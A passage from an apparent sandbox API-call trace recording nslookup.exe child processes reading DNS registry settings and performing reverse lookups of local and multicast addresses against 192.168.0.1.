KeyValueInformation=0x343990*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x18fc00) returned 0x0 [0049.519] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343da0) returned 1 [0049.519] RtlUnicodeStringToAnsiString (in: DestinationString=0x18fc18, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0049.519] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343990) returned 1 [0049.519] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343990 [0049.519] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343da0 [0049.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x18fc08, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0049.519] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x343990, Length=0x400, ResultLength=0x18fc00 | out: KeyValueInformation=0x343990, ResultLength=0x18fc00) returned 0xc0000034 [0049.519] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343da0) returned 1 [0049.519] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343990) returned 1 [0049.519] RtlInitAnsiString (in: DestinationString=0x18fc30, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0049.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x18fc20, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0049.519] NtOpenKey (in: KeyHandle=0x18fd00, DesiredAccess=0x20019, ObjectAttributes=0x18fc40*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x18fd00*=0x0) returned 0xc0000034 [0049.519] RtlFreeAnsiString (AnsiString="\\") [0049.519] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343990 [0049.520] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343da0 [0049.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x18fc08, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0049.520] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x343990, Length=0x400, ResultLength=0x18fc00 | out: KeyValueInformation=0x343990*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x18fc00) returned 0x0 [0049.520] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343da0) returned 1 [0049.520] RtlUnicodeStringToAnsiString (in: DestinationString=0x18fc18, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0049.520] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343990) returned 1 [0049.520] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343990 [0049.520] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343da0 [0049.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x18fc08, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0049.520] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x343990, Length=0x400, ResultLength=0x18fc00 | out: KeyValueInformation=0x343990, ResultLength=0x18fc00) returned 0xc0000034 [0049.520] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343da0) returned 1 [0049.520] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343990) returned 1 [0049.520] gethostname (in: name=0x2b5ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0049.557] free (_Block=0x2b5ed0) [0049.557] malloc (_Size=0x20) returned 0x19df80 [0049.557] getenv (_VarName="HOME") returned 0x0 [0049.557] DnsQueryConfigAllocEx () returned 0x1d01620 [0050.897] _vsnprintf (in: _DstBuf=0x18fbb0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x17fb28 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0050.897] htons (hostshort=0x1) returned 0x100 [0050.897] htons (hostshort=0x1) returned 0x100 [0050.898] socket (af=2, type=2, protocol=0) returned 0x110 [0050.898] connect (s=0x110, name=0x1d01640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0050.899] send (s=0x110, buf=0x17fbb0*, len=42, flags=0) returned 42 [0050.899] select (in: nfds=272, readfds=0x16f620, writefds=0x0, exceptfds=0x0, timeout=0x16f5f8*(tv_sec=2, tv_usec=0) | out: readfds=0x16f620, writefds=0x0, exceptfds=0x0) returned 1 [0050.899] recv (in: s=0x110, buf=0x16fb10, len=65536, flags=0 | out: buf=0x16fb10*) returned 42 [0050.899] closesocket (s=0x110) returned 0 [0050.900] RtlIpv4AddressToStringExA () returned 0xc000000d [0050.900] DnsFreeConfigStructure () returned 0x3fd1c001 [0050.900] malloc (_Size=0xc) returned 0x19dfb0 [0050.900] strcpy_s (in: _Dst=0x19dfb0, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0050.900] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x34abb0 [0050.900] strcpy_s (in: _Dst=0xfffe3020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0050.900] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x18fa68, nSize=0x0, Arguments=0x18fa60 | out: lpBuffer="p¡5") returned 0x7 [0050.901] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 16 [0050.901] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0050.901] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0050.901] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0050.901] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0050.901] RtlIpv4StringToAddressA () returned 0x0 [0050.901] _vsnprintf (in: _DstBuf=0x18f8d0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x17f848 | out: _DstBuf="255.0.168.192.in-addr.arpa.") returned 27 [0050.901] htons (hostshort=0x2) returned 0x200 [0050.901] htons (hostshort=0x1) returned 0x100 [0050.901] socket (af=2, type=2, protocol=0) returned 0x110 [0050.901] connect (s=0x110, name=0x34abd0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0050.901] send (s=0x110, buf=0x17f8d0*, len=44, flags=0) returned 44 [0050.902] select (in: nfds=272, readfds=0x16f340, writefds=0x0, exceptfds=0x0, timeout=0x16f318*(tv_sec=2, tv_usec=0) | out: readfds=0x16f340, writefds=0x0, exceptfds=0x0) returned 1 [0050.902] recv (in: s=0x110, buf=0x16f830, len=65536, flags=0 | out: buf=0x16f830*) returned 103 [0050.902] closesocket (s=0x110) returned 0 [0050.902] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x18f9e0, nSize=0x0, Arguments=0x18f9e8 | out: lpBuffer="`\x8f3") returned 0x3b [0050.903] CharToOemBuffA (in: lpszSrc="*** UnKnown can't find 192.168.0.255: Non-existent domain\r\n", lpszDst=0x338f60, cchDstLength=0x3b | out: lpszDst="*** UnKnown can't find 192.168.0.255: Non-existent domain\r\n") returned 1 [0050.903] _write (in: _FileHandle=2, _Buf=0x338f60*, _MaxCharCount=0x3b | out: _Buf=0x338f60*) returned 59 [0050.903] LocalFree (hMem=0x338f60) returned 0x0 [0050.903] free (_Block=0x19dfb0) [0050.903] LocalFree (hMem=0x34abb0) returned 0x0 [0050.903] free (_Block=0x19df30) [0050.903] exit (_Code=0) Thread: id = 375 os_tid = 0xa5c Process: id = "29" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x2969e000" os_pid = "0xa7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x878" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 377 os_tid = 0xa8c [0051.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefe90 | out: lpSystemTimeAsFileTime=0xefe90*(dwLowDateTime=0x3de73b50, dwHighDateTime=0x1d5dff7)) [0051.135] GetCurrentProcessId () returned 0xa7c [0051.135] GetCurrentThreadId () returned 0xa8c [0051.135] GetTickCount () returned 0x1156fb4 [0051.135] QueryPerformanceCounter (in: lpPerformanceCount=0xefe98 | out: lpPerformanceCount=0xefe98*=19304179647) returned 1 [0051.137] GetModuleHandleW (lpModuleName=0x0) returned 0xff100000 [0051.137] __set_app_type (_Type=0x1) [0051.137] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff1109f8) returned 0x0 [0051.137] __getmainargs (in: _Argc=0xff11aa00, _Argv=0xff11aa10, _Env=0xff11aa08, _DoWildCard=0, _StartInfo=0xff11aa1c | out: _Argc=0xff11aa00, _Argv=0xff11aa10, _Env=0xff11aa08) returned 0 [0051.137] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0051.137] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0051.138] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff122e80 | out: lpWSAData=0xff122e80) returned 0 [0051.144] malloc (_Size=0x40) returned 0x36df30 [0051.144] socket (af=2, type=2, protocol=0) returned 0x6c [0051.146] closesocket (s=0x6c) returned 0 [0051.146] RtlIpv4StringToAddressA () returned 0x0 [0051.146] RtlInitAnsiString (in: DestinationString=0xefcf0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0051.146] RtlAnsiStringToUnicodeString (in: DestinationString=0xefce0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0051.146] NtOpenKey (in: KeyHandle=0xefdb8, DesiredAccess=0x20019, ObjectAttributes=0xefd00*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0xefdb8*=0x6c) returned 0x0 [0051.146] RtlFreeAnsiString (AnsiString="\\") [0051.146] malloc (_Size=0x3200) returned 0x355ed0 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183980 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183d90 [0051.147] RtlAnsiStringToUnicodeString (in: DestinationString=0xefcc8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0051.147] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x183980, Length=0x400, ResultLength=0xefcc0 | out: KeyValueInformation=0x183980, ResultLength=0xefcc0) returned 0xc0000034 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183d90) returned 1 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183980) returned 1 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183980 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183d90 [0051.147] RtlAnsiStringToUnicodeString (in: DestinationString=0xefcc8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0051.147] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x183980, Length=0x400, ResultLength=0xefcc0 | out: KeyValueInformation=0x183980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0xefcc0) returned 0x0 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183d90) returned 1 [0051.147] RtlUnicodeStringToAnsiString (in: DestinationString=0xefcd8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183980) returned 1 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183980 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183d90 [0051.147] RtlAnsiStringToUnicodeString (in: DestinationString=0xefcc8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0051.147] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x183980, Length=0x400, ResultLength=0xefcc0 | out: KeyValueInformation=0x183980, ResultLength=0xefcc0) returned 0xc0000034 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183d90) returned 1 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183980) returned 1 [0051.147] RtlInitAnsiString (in: DestinationString=0xefcf0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0051.147] RtlAnsiStringToUnicodeString (in: DestinationString=0xefce0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0051.147] NtOpenKey (in: KeyHandle=0xefdc0, DesiredAccess=0x20019, ObjectAttributes=0xefd00*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0xefdc0*=0x0) returned 0xc0000034 [0051.147] RtlFreeAnsiString (AnsiString="\\") [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183980 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183d90 [0051.147] RtlAnsiStringToUnicodeString (in: DestinationString=0xefcc8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0051.147] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x183980, Length=0x400, ResultLength=0xefcc0 | out: KeyValueInformation=0x183980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0xefcc0) returned 0x0 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183d90) returned 1 [0051.147] RtlUnicodeStringToAnsiString (in: DestinationString=0xefcd8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0051.147] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183980) returned 1 [0051.147] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183980 [0051.148] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x400) returned 0x183d90 [0051.148] RtlAnsiStringToUnicodeString (in: DestinationString=0xefcc8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0051.148] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x183980, Length=0x400, ResultLength=0xefcc0 | out: KeyValueInformation=0x183980, ResultLength=0xefcc0) returned 0xc0000034 [0051.148] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183d90) returned 1 [0051.148] RtlFreeHeap (HeapHandle=0x160000, Flags=0x0, BaseAddress=0x183980) returned 1 [0051.148] gethostname (in: name=0x355ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0052.013] free (_Block=0x355ed0) [0052.013] malloc (_Size=0x20) returned 0x355a50 [0052.013] getenv (_VarName="HOME") returned 0x0 [0052.013] DnsQueryConfigAllocEx () returned 0x1c71620 [0052.482] _vsnprintf (in: _DstBuf=0xefc70, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xdfbe8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0052.482] htons (hostshort=0x1) returned 0x100 [0052.482] htons (hostshort=0x1) returned 0x100 [0052.484] socket (af=2, type=2, protocol=0) returned 0x110 [0052.484] connect (s=0x110, name=0x1c71640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0052.484] send (s=0x110, buf=0xdfc70*, len=42, flags=0) returned 42 [0052.485] select (in: nfds=272, readfds=0xcf6e0, writefds=0x0, exceptfds=0x0, timeout=0xcf6b8*(tv_sec=2, tv_usec=0) | out: readfds=0xcf6e0, writefds=0x0, exceptfds=0x0) returned 1 [0053.172] recv (in: s=0x110, buf=0xcfbd0, len=65536, flags=0 | out: buf=0xcfbd0*) returned 42 [0053.174] closesocket (s=0x110) returned 0 [0053.182] RtlIpv4AddressToStringExA () returned 0xc000000d [0053.186] DnsFreeConfigStructure () returned 0x23519601 [0053.186] malloc (_Size=0xc) returned 0x36df80 [0053.187] strcpy_s (in: _Dst=0x36df80, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0053.187] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x18aba0 [0053.188] strcpy_s (in: _Dst=0xff123020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0053.204] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0xefb28, nSize=0x0, Arguments=0xefb20 | out: lpBuffer="") returned 0x7 [0053.222] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 16 [0053.229] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0053.230] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0053.233] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0053.234] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0053.234] RtlIpv4StringToAddressA () returned 0x0 [0053.237] _vsnprintf (in: _DstBuf=0xef990, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xdf908 | out: _DstBuf="22.0.0.224.in-addr.arpa.") returned 24 [0053.238] htons (hostshort=0x2) returned 0x200 [0053.238] htons (hostshort=0x1) returned 0x100 [0053.238] socket (af=2, type=2, protocol=0) returned 0x110 [0053.243] connect (s=0x110, name=0x18abc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0053.251] send (s=0x110, buf=0xdf990*, len=41, flags=0) returned 41 [0053.255] select (in: nfds=272, readfds=0xcf400, writefds=0x0, exceptfds=0x0, timeout=0xcf3d8*(tv_sec=2, tv_usec=0) | out: readfds=0xcf400, writefds=0x0, exceptfds=0x0) returned 1 [0054.498] recv (in: s=0x110, buf=0xcf8f0, len=65536, flags=0 | out: buf=0xcf8f0*) returned 69 [0054.511] closesocket (s=0x110) returned 0 [0054.519] htons (hostshort=0x100) returned 0x1 [0054.520] htons (hostshort=0x100) returned 0x1 [0054.522] htons (hostshort=0x0) returned 0x0 [0054.522] htons (hostshort=0x0) returned 0x0 [0054.525] malloc (_Size=0xf) returned 0x36dfa0 [0054.529] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x18aac0 [0054.530] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0xefa88, nSize=0x0, Arguments=0xefa80 | out: lpBuffer="\x10 \x19") returned 0x5 [0054.535] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 23 [0054.537] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0054.538] inet_ntoa (in=0x160000e0) returned="224.0.0.22" [0054.541] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 12 [0054.541] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0054.541] free (_Block=0x36df80) [0054.541] LocalFree (hMem=0x18aba0) returned 0x0 [0054.541] free (_Block=0x36df30) [0054.541] exit (_Code=0) Thread: id = 378 os_tid = 0xacc Process: id = "30" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x1eca3000" os_pid = "0x69c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x878" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 388 os_tid = 0xb2c [0055.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fbd0 | out: lpSystemTimeAsFileTime=0x20fbd0*(dwLowDateTime=0x40606910, dwHighDateTime=0x1d5dff7)) [0055.292] GetCurrentProcessId () returned 0x69c [0055.292] GetCurrentThreadId () returned 0xb2c [0055.292] GetTickCount () returned 0x1157fea [0055.292] QueryPerformanceCounter (in: lpPerformanceCount=0x20fbd8 | out: lpPerformanceCount=0x20fbd8*=19719933929) returned 1 [0055.294] GetModuleHandleW (lpModuleName=0x0) returned 0xff2c0000 [0055.294] __set_app_type (_Type=0x1) [0055.294] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2d09f8) returned 0x0 [0055.294] __getmainargs (in: _Argc=0xff2daa00, _Argv=0xff2daa10, _Env=0xff2daa08, _DoWildCard=0, _StartInfo=0xff2daa1c | out: _Argc=0xff2daa00, _Argv=0xff2daa10, _Env=0xff2daa08) returned 0 [0055.294] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.294] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0055.294] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff2e2e80 | out: lpWSAData=0xff2e2e80) returned 0 [0055.301] malloc (_Size=0x40) returned 0x21df30 [0055.301] socket (af=2, type=2, protocol=0) returned 0x6c [0055.304] closesocket (s=0x6c) returned 0 [0055.304] RtlIpv4StringToAddressA () returned 0x0 [0055.304] RtlInitAnsiString (in: DestinationString=0x20fa30, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0055.304] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fa20, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0055.304] NtOpenKey (in: KeyHandle=0x20faf8, DesiredAccess=0x20019, ObjectAttributes=0x20fa40*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x20faf8*=0x6c) returned 0x0 [0055.304] RtlFreeAnsiString (AnsiString="\\") [0055.304] malloc (_Size=0x3200) returned 0xe5ed0 [0055.304] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0055.304] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0055.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fa08, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0055.305] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x20fa00 | out: KeyValueInformation=0x393980, ResultLength=0x20fa00) returned 0xc0000034 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0055.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fa08, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0055.305] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x20fa00 | out: KeyValueInformation=0x393980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x20fa00) returned 0x0 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0055.305] RtlUnicodeStringToAnsiString (in: DestinationString=0x20fa18, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0055.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fa08, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0055.305] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x20fa00 | out: KeyValueInformation=0x393980, ResultLength=0x20fa00) returned 0xc0000034 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0055.305] RtlInitAnsiString (in: DestinationString=0x20fa30, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0055.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fa20, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: 